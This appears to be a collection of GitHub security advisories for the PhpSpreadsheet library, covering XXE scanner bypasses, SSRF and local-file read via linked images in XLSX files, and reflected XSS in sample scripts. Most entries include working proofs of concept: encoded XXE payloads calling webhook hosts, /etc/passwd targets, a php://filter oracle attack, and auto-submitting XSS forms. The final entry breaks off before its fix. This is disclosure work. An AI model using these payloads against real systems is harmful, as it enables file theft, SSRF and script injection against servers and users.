Where
-Infinity
0
Severity
8.8
XEE
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Summary Bypassing the filter allows a XXE-attack. Which is turn allows attacker to obtain contents of local files, even if error reporting muted by @ symbol. (LFI-attack)

Details Check $pattern = '/encoding="(.?)"/'; easy to bypass. Just use a single quote symbol '. So payload looks like this: <?xml version="1.0" encoding='UTF-7' standalone="yes"?> +ADw-!DOCTYPE xxe [+ADw-!ENTITY % xxe SYSTEM "http://example.com/file.dtd"> %xxe;]> If you add this header to any XML file into xlsx-formatted file, such as sharedStrings.xml file, then xxe will execute.

PoC 1) Create simple xlsx file 2) Rename xlsx to zip 3) Go to the zip and open the xl/sharedStrings.xml file in edit mode. 4) Replace <?xml version="1.0" encoding="UTF-8" standalone="yes"?> to <?xml version="1.0" encoding='UTF-7' standalone="yes"?> +ADw-!DOCTYPE xxe [+ADw-!ENTITY % xxe SYSTEM "http://%webhook%/file.dtd"> %xxe;]> 5) Save sharedStrings.xml file and rename zip back to xlsx. 6) Use minimal php code that simply opens this xlsx file: use PhpOffice\PhpSpreadsheet\IOFactory; require DIR . '/vendor/autoload.php'; $spreadsheet = IOFactory::load("file.xlsx"); 7) You will receive the request to your http://%webhook%/file.dtd 8) Dont't forget that you can use php-wrappers into xxe, some php:// wrapper payload allows fetch local files.

Impact Read local files !lfi

1 / 2
Source: GitHub
First published (updated )
Severity
8.8
SSRF, Path Traversal
AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N

Summary

It's possible for an attacker to construct an XLSX file that links images from arbitrary paths. When embedding images has been enabled in HTML writer with $writer->setEmbedImages(true); those files will be included in the output as data: URLs, regardless of the file's type. Also URLs can be used for embedding, resulting in a Server-Side Request Forgery vulnerability.

Details

XLSX files allow embedding or linking media. When

In xl/drawings/drawing1.xml an attacker can do e.g.: xml <a:blip cstate="print" r:link="rId1" />

And then, in xl/drawings/rels/drawing1.xml.rels they can set the path to anything, such as: xml <Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/image" Target="/etc/passwd" /> or xml <Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/image" Target="http://example.org" />

When the HTML writer is outputting the image, it does not check the path in any way. Also the getimagesize() call does not mitigate this, because when getimagesize() returns false, an empty mime type is used.

php if ($this->embedImages || strstartswith($imageData, 'zip://')) { $picture = @filegetcontents($filename); if ($picture !== false) { $imageDetails = getimagesize($filename) ?: ['mime' => '']; // base64 encode the binary data $base64 = base64encode($picture); $imageData = 'data:' . $imageDetails['mime'] . ';base64,' . $base64; } }

$html .= '<img style="position: absolute; z-index: 1; left: ' . $drawing->getOffsetX() . 'px; top: ' . $drawing->getOffsetY() . 'px; width: ' . $drawing->getWidth() . 'px; height: ' . $drawing->getHeight() . 'px;" src="' . $imageData . '" alt="' . $filedesc . '" />';

PoC

php <?php

require 'vendor/autoload.php';

$reader = \PhpOffice\PhpSpreadsheet\IOFactory::createReader("Xlsx"); $spreadsheet = $reader->load(DIR . '/book.xlsx');

$writer = new \PhpOffice\PhpSpreadsheet\Writer\Html($spreadsheet); $writer->setEmbedImages(true); $output = $writer->generateHTMLAll();

// The below is just for demo purposes

$pattern = '/data:;base64,(?<data>[^"]+)/i';

pregmatchall($pattern, $output, $matches);

print(" /etc/passwd content: \n"); print(base64decode($matches['data'][0]));

print(" HTTP response content: \n"); print(base64decode($matches['data'][1]));

Add this file in the same directory: book.xlsx

Run with: php index.php

Impact

When embedding images has been enabled, an attacker can read arbitrary files on the server and perform arbitrary HTTP GET requests, potentially e.g. revealing secrets. Note that any PHP protocol wrappers can be used, meaning that if for example the expect:// wrapper is enabled, also remote code execution is possible.

1 / 2
Source: GitHub
First published (updated )
Severity
8.8
XEE
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

PHPOffice PhpSpreadsheet before 1.8.0 has an XXE issue. The XmlScanner decodes the sheet1.xml from an .xlsx to utf-8 if something else than UTF-8 is declared in the header. This was a security measurement to prevent CVE-2018-19277 but the fix is not sufficient. By double-encoding the the xml payload to utf-7 it is possible to bypass the check for the string ?<!ENTITY? and thus allowing for an xml external entity processing (XXE) attack.

1 / 3
First published (updated )
Severity
8.3
XSS, CSRF
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:H/VA:N/SC:L/SI:H/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Unauthorized Reflected XSS in Convert-Online.php file Product: Phpspreadsheet Version: version 3.6.0 CWE-ID: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') CVSS vector v.3.1: 8.2 (AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N) CVSS vector v.4.0: 8.3 (AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:H/VA:N/SC:L/SI:H/SA:L) Description: using the /vendor/phpoffice/phpspreadsheet/samples/Engineering/Convert-Online.php script, an attacker can perform a XSS-type attack Impact: executing arbitrary JavaScript code in the browser Vulnerable component: the /vendor/phpoffice/phpspreadsheet/samples/Engineering/Convert-Online.php file Exploitation conditions: an unauthorized user Mitigation: sanitization of the quantity variable Researcher: Aleksey Solovev (Positive Technologies)

Research

The researcher discovered zero-day vulnerability Unauthorized Reflected Cross-Site Scripting (XSS) (in Convert-Online.php file) in Phpspreadsheet.

There is no sanitization in the /vendor/phpoffice/phpspreadsheet/samples/Engineering/Convert-Online.php file, which leads to the possibility of a XSS attack.

!fig4

Figure 4. The message with the quantity parameter is displayed without sanitization

The following figure shows a POST HTTP-request and a response to the server with the variable quantity, which is displayed in the response from the server without sanitization.

<img width="460" alt="fig5" src="https://github.com/user-attachments/assets/022323c9-ca1e-44ea-9380-37ed7848e971" />

Figure 5. In the server's response , the quantity variable is displayed without sanitization

An attacker can prepare a special HTML form that will be automatically sent to the vulnerable scenario.

Listing 3. HTML form that demonstrates the exploitation of the XSS vulnerability

<html> <!-- CSRF PoC - generated by Burp Suite Professional --> <body> <form action="https://192.../vendor/phpoffice/phpspreadsheet/samples/Engineering/Convert-Online.php" method="POST"> <input type="hidden" name="category" value="Weight&#32;and&#32;Mass" /> <input type="hidden" name="quantity" value="1&#46;0&lt;img&#32;src&#61;1&#32;onerror&#61;alert&#40;&#41;&gt;" /> <input type="hidden" name="fromUnit" value="g" /> <input type="hidden" name="toUnit" value="g" /> <input type="hidden" name="submitx" value="Convert" /> <input type="submit" value="Submit request" /> </form> <script> history.pushState('', '', '/'); document.forms[0].submit(); </script> </body> </html>

After the user visits the attacker's resource, the form will be sent to the vulnerable scenario, which will lead to the execution of arbitrary code in the client's browser. <img width="389" alt="fig6" src="https://github.com/user-attachments/assets/e52b68c6-5a98-4db2-85ec-5bf37e4cb625" />

Figure 6. Executing arbitrary JavaScript code

Credit This vulnerability was discovered by Aleksey Solovev (Positive Technologies)

1 / 2
Source: GitHub
First published (updated )
Severity
8.3
XSS
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:H/VA:N/SC:L/SI:H/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Unauthorized Reflected XSS in the constructor of the Downloader class

Product: Phpspreadsheet Version: version 3.6.0 CWE-ID: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') CVSS vector v.3.1: 8.2 (AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N) CVSS vector v.4.0: 8.3 (AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:H/VA:N/SC:L/SI:H/SA:L) Description: using the /vendor/phpoffice/phpspreadsheet/samples/download.php script, an attacker can perform a XSS-type attack Impact: execution of arbitrary JavaScript code in the browser Vulnerable component: the constructor of the Downloader class Exploitation conditions: an unauthorized user Mitigation: sanitization of the name and type variables Researcher: Aleksey Solovev (Positive Technologies)

Research

The researcher discovered zero-day vulnerability Unauthorized Reflected Cross-Site Scripting (XSS) (in the constructor of the Downloader class) in Phpspreadsheet.

The latest version (3.6.0) of the phpoffice/phpspreadsheet library was installed. The installation was carried out with the inclusion of examples.

Listing 1. Installing the phpoffice/phpspreadsheet library $ composer require phpoffice/phpspreadsheet --prefer-source

The ./vendor/phpoffice/phpspreadsheet/samples/download.php file processes the GET parameters name and type.

!fig1

Figure 1. The ./vendor/phpoffice/phpspreadsheet/samples/download.php file accepts GET parameters.

Consider the constructor of the Downloader class, where GET parameters are passed. Error is displayed without sanitization using GET parameters transmitted from the user.

!fig2

Figure 2. Error is displayed without sanitization

When clicking on the following link, arbitrary JavaScript code will be executed.

Listing 2. https://192.../vendor/phpoffice/phpspreadsheet/samples/download.php?name=%3Cimg%20src=1%20onerror=alert()%3E&type=1

Demonstration of the execution of arbitrary JavaScript code.

<img width="537" alt="fig3" src="https://github.com/user-attachments/assets/745d6e21-396f-4357-8ff8-e856adf15fee" />

Figure 3. Executing arbitrary JavaScript code

Credit This vulnerability was discovered by Aleksey Solovev (Positive Technologies)

1 / 2
Source: GitHub
First published (updated )
Severity
8.3
XSS, CSRF
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:H/VA:N/SC:L/SI:H/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Unauthorized Reflected XSS in Currency.php file

Product: Phpspreadsheet Version: version 3.6.0 CWE-ID: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') CVSS vector v.3.1: 8.2 (AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N) CVSS vector v.4.0: 8.3 (AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:H/VA:N/SC:L/SI:H/SA:L) Description: using the /vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Currency.php script, an attacker can perform XSS-type attack Impact: executing arbitrary JavaScript code in the browser Vulnerable component: the /vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Currency.php file Exploitation conditions: an unauthorized user Mitigation: sanitization of the currency variable Researcher: Aleksey Solovev (Positive Technologies)

Research

The researcher discovered zero-day vulnerability Unauthorized Reflected Cross-Site Scripting (XSS) (in Currency.php file) in Phpspreadsheet.

There is no sanitization in the /vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Currency.php file, which leads to the possibility of a XSS attack. Strings are formed using the currency parameter without sanitization, controlled by an attacker.

!fig9

Figure 9. A fragment of the query in which a string and a parameter are formed without sanitization

An attacker can prepare a special HTML form that will be automatically sent to the vulnerable scenario.

Listing 5. HTML form that demonstrates the exploitation of the XSS vulnerability

<html> <!-- CSRF PoC - generated by Burp Suite Professional --> <body> <form action="https://192.../vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Currency.php" method="POST"> <input type="hidden" name="number" value="1234&#46;5678" /> <input type="hidden" name="currency" value="&#36;&apos;&quot;&lt;img&#32;src&#61;1&#32;onerror&#61;alert&#40;&#41;&gt;" /> <input type="hidden" name="decimals" value="2" /> <input type="hidden" name="position" value="1" /> <input type="hidden" name="spacing" value="0" /> <input type="hidden" name="submit" value="Display&#32;Mask" /> <input type="submit" value="Submit request" /> </form> <script> history.pushState('', '', '/'); document.forms[0].submit(); </script> </body> </html>

After sending the script provided in Listing 5, the XSS vulnerability is exploited. Figure 10 shows the execution of arbitrary JavaScript code during the submission of a POST form.

<img width="428" alt="fig10" src="https://github.com/user-attachments/assets/2be8c94b-03ac-40d9-aa7a-9d326eb79335" />

Figure 10. Executing arbitrary JavaScript code

Credit This vulnerability was discovered by Aleksey Solovev (Positive Technologies)

1 / 2
Source: GitHub
First published (updated )
Severity
8.3
XSS, CSRF
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:H/VA:N/SC:L/SI:H/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Unauthorized Reflected XSS in the Accounting.php file

Product: Phpspreadsheet Version: version 3.6.0 CWE-ID: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') CVSS vector v.3.1: 8.2 (AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N) CVSS vector v.4.0: 8.3 (AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:H/VA:N/SC:L/SI:H/SA:L) Description: using the /vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Accounting.php script, an attacker can perform a XSS-type attack Impact: executing arbitrary JavaScript code in the browser Vulnerable component: the /vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Accounting.php file Exploitation conditions: an unauthorized user Mitigation: sanitization of the currency variable Researcher: Aleksey Solovev (Positive Technologies)

Research

The researcher discovered zero-day vulnerability Unauthorized Reflected Cross-Site Scripting (XSS) (in Accounting.php file) in Phpspreadsheet.

There is no sanitization in the /vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Accounting.php file, which leads to the possibility of a XSS attack. Strings are formed using the currency parameter without sanitization, which is controlled by the attacker.

!fig7

Figure 7. A fragment of the query in which a string and a parameter are formed without sanitization

An attacker can prepare a special HTML form that will be automatically sent to the vulnerable scenario.

Listing 4. HTML form that demonstrates the exploitation of the XSS vulnerability

<html> <!-- CSRF PoC - generated by Burp Suite Professional --> <body> <form action="https://192.../vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Accounting.php" method="POST"> <input type="hidden" name="number" value="1234&#46;5678" /> <input type="hidden" name="currency" value="&#36;&lt;img&#32;src&#61;1&#32;onerror&#61;alert&#40;&#41;&gt;" /> <input type="hidden" name="decimals" value="2" /> <input type="hidden" name="position" value="1" /> <input type="hidden" name="spacing" value="0" /> <input type="hidden" name="submit" value="Display&#32;Mask" /> <input type="submit" value="Submit request" /> </form> <script> history.pushState('', '', '/'); document.forms[0].submit(); </script> </body> </html>

After sending the script provided in Listing 4, the XSS vulnerability is exploited. Figure 8 shows the execution of arbitrary JavaScript code during the submission of a POST form.

<img width="460" alt="fig8" src="https://github.com/user-attachments/assets/b009256e-61f7-4d72-8f6a-cc6e0efe2bb1" />

Figure 8. Executing arbitrary JavaScript code

Credit This vulnerability was discovered by Aleksey Solovev (Positive Technologies)

1 / 2
Source: GitHub
First published (updated )
Severity
7.7
SSRF
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

Summary

It's possible for an attacker to construct an XLSX file which links media from external URLs. When opening the XLSX file, PhpSpreadsheet retrieves the image size and type by reading the file contents, if the provided path is a URL. By using specially crafted php://filter URLs an attacker can leak the contents of any file or URL.

Note that this vulnerability is different from GHSA-w9xv-qf98-ccq4, and resides in a different component.

Details

When an XLSX file is opened, the XLSX reader calls setPath() with the path provided in the xl/drawings/rels/drawing1.xml.rels file in the XLSX archive:

php if (isset($images[$embedImageKey])) { // ...omit irrelevant code... } else { $linkImageKey = (string) self::getArrayItem( $blip->attributes('http://schemas.openxmlformats.org/officeDocument/2006/relationships'), 'link' ); if (isset($images[$linkImageKey])) { $url = strreplace('xl/drawings/', '', $images[$linkImageKey]); $objDrawing->setPath($url); } }

setPath() then reads the file in order to determine the file type and dimensions, if the path is a URL:

php public function setPath(string $path, bool $verifyFile = true, ?ZipArchive $zip = null): static { if ($verifyFile && pregmatch('~^data:image/[a-z]+;base64,~', $path) !== 1) { // Check if a URL has been passed. https://stackoverflow.com/a/2058596/1252979 if (filtervar($path, FILTERVALIDATEURL)) { $this->path = $path; // Implicit that it is a URL, rather store info than running check above on value in other places. $this->isUrl = true; $imageContents = filegetcontents($path); // ... check dimensions etc. ...

It's important to note here, that filtervar considers also file:// and php:// URLs valid.

The attacker can set the path to anything:

xml <Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/image" Target="this can be whatever" />

The contents of the file are not made available for the attacker directly. However, using PHP filter URLs it's possible to construct an error oracle which leaks a file or URL contents one character at a time. The error oracle was originally invented by @hashkitten, and the folks at Synacktiv have developed a nice tool for easily exploiting those: https://github.com/synacktiv/phpfilterchainsoracleexploit

PoC

Target file:

php <?php

require 'vendor/autoload.php';

// Attack part: this would actually be done by the attacker on their machine and the resulting XLSX uploaded, but to // keep the PoC simple, I've combined this into the same file.

$file = "booktampered.xlsx"; $payload = $POST["payload"]; // the payload comes from the Python script

copy("book.xlsx",$file); $zip = new ZipArchive; $zip->open($file);

$path = "xl/drawings/rels/drawing1.xml.rels"; $content = $zip->getFromName($path); $content = strreplace("../media/image1.gif", $payload, $content); $zip->addFromString($path, $content);

$path = "xl/drawings/drawing1.xml"; $content = $zip->getFromName($path); $content = strreplace('r:embed="rId1"', 'r:link="rId1"', $content); $zip->addFromString($path, $content);

$zip->close();

// The actual target - note that simply opening the file is sufficient for the attack

$reader = \PhpOffice\PhpSpreadsheet\IOFactory::createReader("Xlsx"); $spreadsheet = $reader->load(DIR . '/' . $file);

Add this file in the same directory: book.xlsx

Serve the PoC from a web server. Ensure your PHP memory limit is <= 128M - otherwise you'll need to edit the Python script below.

Download the error oracle Python script from here: https://github.com/synacktiv/phpfilterchainsoracleexploit. If your memory limit is greater than 128M, you'll need to edit the Python script's bruteforcer.py file to change self.blowupinf = self.join([self.blowuputf32]15) to self.blowupinf = self.join([self.blowuputf32]20). This is needed so that it generates large-enough payloads to trigger the out of memory errors the oracle relies on. Also install the script's dependencies with pip.

Then run the Python script with: python3 filterschainoracleexploit.py --target [URL of the script] --parameter payload --file /etc/passwd

Note that the attack relies on certain character encodings being supported by the system's iconv library, because PHP uses that. As far as I know, most Linux distributions have them, but notably MacOS does not. So if you're developing on a Mac, you'll want to run your server in a virtual machine with Linux.

Here's the results I got after about a minute of bruteforcing:

!image

Impact

An attacker can access any file on the server, or leak information form arbitrary URLs, potentially exposing sensitive information such as AWS IAM credentials.

1 / 2
Source: GitHub
First published (updated )
Severity
7.5
XEE
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Summary The security scanner responsible for preventing XXE attacks in the XLSX reader can be bypassed by slightly modifying the XML structure, utilizing white-spaces. On servers that allow users to upload their own Excel (XLSX) sheets, Server files and sensitive information can be disclosed by providing a crafted sheet.

Details The security scan function in src/PhpSpreadsheet/Reader/Security/XmlScanner.php contains a flawed XML encoding check to retrieve the input file's XML encoding in the toUtf8 function.

The function searches for the XML encoding through a defined regex which looks for encoding="" and/or encoding='', if not found, it defaults to the UTF-8 encoding which bypasses the conversion logic.

$patterns = [ '/encoding="([^"]]?)"/', "/encoding='([^']?)'/", ];

This logic can be used to pass a UTF-7 encoded XXE payload, by utilizing a whitespace before or after the = in the attribute definition.

PoC

Needed: - An Excel sheet (XLSX) with at least one cell containing a value.

Unzip the excel sheet, and modify the xl/SharedStrings.xml file with the following value (note the space after encoding=):

<?xml version="1.0" encoding= 'UTF-7' standalone="yes"?> +ADw-!DOCTYPE abc [ ... ]>

Step-by-step

1. First off, the following string is encoded in base64:

<!ENTITY internal 'abc' >"

Resulting in:

PCFFTlRJVFkgaW50ZXJuYWwgJ2FiYycgID4K

2. The string is used with a parameter entity and the PHP filter wrapper to ultimately define custom entities and call them within the XML.

<?xml version="1.0" encoding= 'UTF-7' standalone="yes"?> +ADw-!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "php://filter//resource=data://text/plain;base64,PCFFTlRJVFkgaW50ZXJuYWwgJ2FiYycgID4K" > %xxe;]> <sst xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" count="1" uniqueCount="1"><si><t>&internal;</t></si></sst>

When this file is parsed by the library, the value abc should be in the original filled cell.

With the help of the PHP filter wrapper, this can be escalated to information disclosure/file read.

Impact Sensitive information disclosure through the XXE on sites that allow users to upload their own excel spreadsheets, and parse them using PHPSpreadsheet's Excel parser.

1 / 2
Source: GitHub
First published (updated )
Severity
7.5
XEE
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Summary The XmlScanner class has a scan method which should prevent XXE attacks.

However, the regexes used in the scan method and the findCharSet method can be bypassed by using UCS-4 and encoding guessing as described in <https://www.w3.org/TR/xml/#sec-guessing-no-ext-info>.

Details The scan method converts the input in the UTF-8 encoding if it is not already in the UTF-8 encoding with the toUtf8 method. Then, the scan method uses a regex which would also work with 16-bit encoding.

However, the regexes from the findCharSet method, which is used for determining the current encoding can be bypassed by using an encoding which has more than 8 bits, since the regex does not expect null bytes, and the XML library will also autodetect the encoding as described in <https://www.w3.org/TR/xml/#sec-guessing-no-ext-info>.

A payload for the workbook.xml file can for example be created with CyberChef')&input=PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTE2IiBzdGFuZGFsb25lPSJ5ZXMiPz4KPCFET0NUWVBFIG1lc3NhZ2UgWwogICAgPCFFTlRJVFkgJSBleHQgU1lTVEVNICJodHRwOi8vMTI3LjAuMC4xOjEyMzQ1L2V4dC5kdGQiPgogICAgJWV4dDsKXT4KPHdvcmtib29rIHhtbG5zPSJodHRwOi8vc2NoZW1hcy5vcGVueG1sZm9ybWF0cy5vcmcvc3ByZWFkc2hlZXRtbC8yMDA2L21haW4iIHhtbG5zOnI9Imh0dHA6Ly9zY2hlbWFzLm9wZW54bWxmb3JtYXRzLm9yZy9vZmZpY2VEb2N1bWVudC8yMDA2L3JlbGF0aW9uc2hpcHMiPjxmaWxlVmVyc2lvbiBhcHBOYW1lPSJDYWxjIi8%2BPHdvcmtib29rUHIgYmFja3VwRmlsZT0iZmFsc2UiIHNob3dPYmplY3RzPSJhbGwiIGRhdGUxOTA0PSJmYWxzZSIvPjx3b3JrYm9va1Byb3RlY3Rpb24vPjxib29rVmlld3M%2BPHdvcmtib29rVmlldyBzaG93SG9yaXpvbnRhbFNjcm9sbD0idHJ1ZSIgc2hvd1ZlcnRpY2FsU2Nyb2xsPSJ0cnVlIiBzaG93U2hlZXRUYWJzPSJ0cnVlIiB4V2luZG93PSIwIiB5V2luZG93PSIwIiB3aW5kb3dXaWR0aD0iMTYzODQiIHdpbmRvd0hlaWdodD0iODE5MiIgdGFiUmF0aW89IjUwMCIgZmlyc3RTaGVldD0iMCIgYWN0aXZlVGFiPSIwIi8%2BPC9ib29rVmlld3M%2BPHNoZWV0cz48c2hlZXQgbmFtZT0iU2hlZXQxIiBzaGVldElkPSIxIiBzdGF0ZT0idmlzaWJsZSIgcjppZD0icklkMiIvPjwvc2hlZXRzPjxjYWxjUHIgaXRlcmF0ZUNvdW50PSIxMDAiIHJlZk1vZGU9IkExIiBpdGVyYXRlPSJmYWxzZSIgaXRlcmF0ZURlbHRhPSIwLjAwMSIvPjxleHRMc3Q%2BPGV4dCB4bWxuczpsb2V4dD0iaHR0cDovL3NjaGVtYXMubGlicmVvZmZpY2Uub3JnLyIgdXJpPSJ7NzYyNkM4NjItMkExMy0xMUU1LUIzNDUtRkVGRjgxOUNEQzlGfSI%2BPGxvZXh0OmV4dENhbGNQciBzdHJpbmdSZWZTeW50YXg9IkNhbGNBMSIvPjwvZXh0PjwvZXh0THN0Pjwvd29ya2Jvb2s%2B.). If you open an Excel file containing the payload from the link above stored in the workbook.xml file with PhpSpreadsheet, you will receive an HTTP request on 127.0.0.1:12345. You can test that an HTTP request is created by running the nc -nlvp 12345 command before opening the file containing the payload with PhpSpreadsheet.

PoC

- Create a new folder. - Run the composer require phpoffice/phpspreadsheet command in the new folder. - Create an index.php file in that folder with the following content: PHP <?php require 'vendor/autoload.php';

use PhpOffice\PhpSpreadsheet\Spreadsheet; use PhpOffice\PhpSpreadsheet\Writer\Xlsx;

$spreadsheet = new Spreadsheet();

$inputFileType = 'Xlsx'; $inputFileName = './payload.xlsx';

/ Create a new Reader of the type defined in $inputFileType / $reader = \PhpOffice\PhpSpreadsheet\IOFactory::createReader($inputFileType); / Advise the Reader that we only want to load cell data / $reader->setReadDataOnly(true);

$worksheetData = $reader->listWorksheetInfo($inputFileName);

foreach ($worksheetData as $worksheet) {

$sheetName = $worksheet['worksheetName'];

echo "<h4>$sheetName</h4>"; / Load $inputFileName to a Spreadsheet Object / $reader->setLoadSheetsOnly($sheetName); $spreadsheet = $reader->load($inputFileName);

$worksheet = $spreadsheet->getActiveSheet(); printr($worksheet->toArray());

} - Run the following command: php -S 127.0.0.1:8080 - Add the payload.xlsx file, which contains a payload similar to the payload from the details section, but with the URL https://webhook.site/65744200-63d2-43a2-a6a0-cca8d6b0d50a instead of the http://127.0.0.1:12345/ext.dtd URL, in the folder and open <https://127.0.0.1:8080> in a browser. You will see an HTTP request on <https://webhook.site/#!/view/65744200-63d2-43a2-a6a0-cca8d6b0d50a>.

Impact An attacker can bypass the sanitizer and achieve an XXE attackProcessing).

1 / 2
Source: GitHub
First published (updated )
Severity
7.5
EPSS
0.03%
XEE
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Summary

The XmlScanner class has a scan method which should prevent XXE attacks.

However, we found another bypass than the previously reported CVE-2024-47873, the regexes from the findCharSet method, which is used for determining the current encoding can be bypassed by using a payload in the encoding UTF-7, and adding at end of the file a comment with the value encoding="UTF-8" with ", which is matched by the first regex, so that encoding='UTF-7' with single quotes ' in the XML header is not matched by the second regex:

$patterns = [ '/encoding\\s=\\s"([^"]]?)"/', "/encoding\\s=\\s'([^']?)'/", ];

A payload for the workbook.xml file can for example be created with CyberChef')&input=Pz4KPCFET0NUWVBFIGZvbyBbCiAgPCFFTEVNRU5UIGZvbyBBTlkgPgogIDwhRU5USVRZIHh4ZSBTWVNURU0gImZpbGU6Ly8vZXRjL3Bhc3N3ZCIgPl0%2BCjxmb28%2BJnh4ZTs8L2Zvbz4K). If you open an Excel file containing the payload from the link above stored in the workbook.xml file with PhpSpreadsheet, you will receive an HTTP request on 127.0.0.1:12345. You can test that an HTTP request is created by running the nc -nlvp 12345 command before opening the file containing the payload with PhpSpreadsheet.

To create the payload you need: 1. Create a file containing <?xml version = "1.0" encoding='UTF-7' in an XML file 2. Use the link attached above to create your XXE payload and add it to the XML file. 3. Add +ADw-+ACE---encoding="UTF-8"--+AD4- to the end of the XML file, which is matched by the first regex.

PoC

payload.xlsx

- Create a new folder. - Run the composer require phpoffice/phpspreadsheet command in the new folder. - Create an index.php file in that folder with the following content: PHP <?php require 'vendor/autoload.php';

use PhpOffice\PhpSpreadsheet\Spreadsheet; use PhpOffice\PhpSpreadsheet\Writer\Xlsx;

$spreadsheet = new Spreadsheet();

$inputFileType = 'Xlsx'; $inputFileName = './payload.xlsx';

/ Create a new Reader of the type defined in $inputFileType / $reader = \PhpOffice\PhpSpreadsheet\IOFactory::createReader($inputFileType); / Advise the Reader that we only want to load cell data / $reader->setReadDataOnly(true);

$worksheetData = $reader->listWorksheetInfo($inputFileName);

foreach ($worksheetData as $worksheet) {

$sheetName = $worksheet['worksheetName'];

echo "<h4>$sheetName</h4>"; / Load $inputFileName to a Spreadsheet Object / $reader->setLoadSheetsOnly($sheetName); $spreadsheet = $reader->load($inputFileName);

$worksheet = $spreadsheet->getActiveSheet(); printr($worksheet->toArray());

} - Run the following command: php -S 127.0.0.1:8080 - Add the payload.xlsx file in the folder and open <https://127.0.0.1:8080> in a browser. You will see an HTTP request on netcat <http://127.0.0.1:12345/ext.dtd>.

Impact

An attacker can bypass the sanitizer and achieve an XXE attackProcessing).

1 / 2
Source: GitHub
First published (updated )
Severity
7.1
XSS
AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Summary One of the sample scripts in PhpSpreadsheet is susceptible to a cross-site scripting (XSS) vulnerability due to improper handling of input where a number is expected leading to formula injection.

Details

The following code in 45Quadraticequationsolver.php concatenates the user supplied parameters directly into spreadsheet formulas. This allows an attacker to take control over the formula and output unsanitized data into the page, resulting in JavaScript execution. $discriminantFormula = '=POWER(' . $POST['B'] . ',2) - (4 ' . $POST['A'] . ' ' . $POST['C'] . ')'; $discriminant = Calculation::getInstance()->calculateFormula($discriminantFormula);

$r1Formula = '=IMDIV(IMSUM(-' . $POST['B'] . ',IMSQRT(' . $discriminant . ')),2 ' . $POST['A'] . ')'; $r2Formula = '=IF(' . $discriminant . '=0,"Only one root",IMDIV(IMSUB(-' . $POST['B'] . ',IMSQRT(' . $discriminant . ')),2 ' . $POST['A'] . '))';

PoC 1. Access 45Quadraticequationsolver.php in a browser 2. Enter any valid values for for b and c, and enter the following for a

1) & ("1)),1)&char(60)&char(105)&char(109)&char(103)&char(32)&char(115)&char(114)&char(99)&char(61)&char(120)&char(32)&char(111)&char(110)&char(101)&char(114)&char(114)&char(111)&char(114)&char(61)&char(97)&char(108)&char(101)&char(114)&char(116)&char(40)&char(41)&char(62)&POWER(((1") &n("1")&(1

3. Press submit and observe that JavaScript is executed.

!exploit-phpspreadsheet

Impact

The impact of this vulnerability on the project is expected to be relatively low since these are sample files that should not be included when the library is used properly (e.g., through composer). However, at least two instances of popular WordPress plugins have unintentionally exposed this file by including the entire git repository. Since these files also serve as reference points for developers using the library, addressing this issue can enhance security for users.

A solution to fix the vulnerability is proposed below, and a request for a CVE assignment has been made to facilitate responsible disclosure of the security issue to the affected WordPress plugins.

Remediation

A quick and easy solution to prevent this attack is to force the parameters to be numerical values:

